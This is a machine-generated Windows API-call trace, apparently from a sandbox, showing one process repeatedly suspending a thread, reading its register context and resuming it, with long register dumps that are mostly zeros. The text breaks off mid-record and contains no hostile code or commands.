[0104.252] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147778, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12c1e40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0104.362] ResumeThread (hThread=0x130) returned 0x1
[0104.362] CloseHandle (hObject=0x130) returned 1
[0104.362] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0104.438] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0104.438] SuspendThread (hThread=0x130) returned 0x0
[0104.438] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10283, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147730, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b9520, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0104.637] ResumeThread (hThread=0x130) returned 0x1
[0104.637] CloseHandle (hObject=0x130) returned 1
[0104.637] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0104.784] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0104.784] SuspendThread (hThread=0x130) returned 0x0
[0104.784] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff9f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12bb600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0104.852] ResumeThread (hThread=0x130) returned 0x1
[0104.853] CloseHandle (hObject=0x130) returned 1
[0104.853] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0104.929] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0104.929] SuspendThread (hThread=0x130) returned 0x0
[0104.929] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff9f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a95c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0105.002] ResumeThread (hThread=0x130) returned 0x1
[0105.002] CloseHandle (hObject=0x130) returned 1
[0105.002] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.077] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0105.077] SuspendThread (hThread=0x130) returned 0x0
[0105.077] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b3600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), 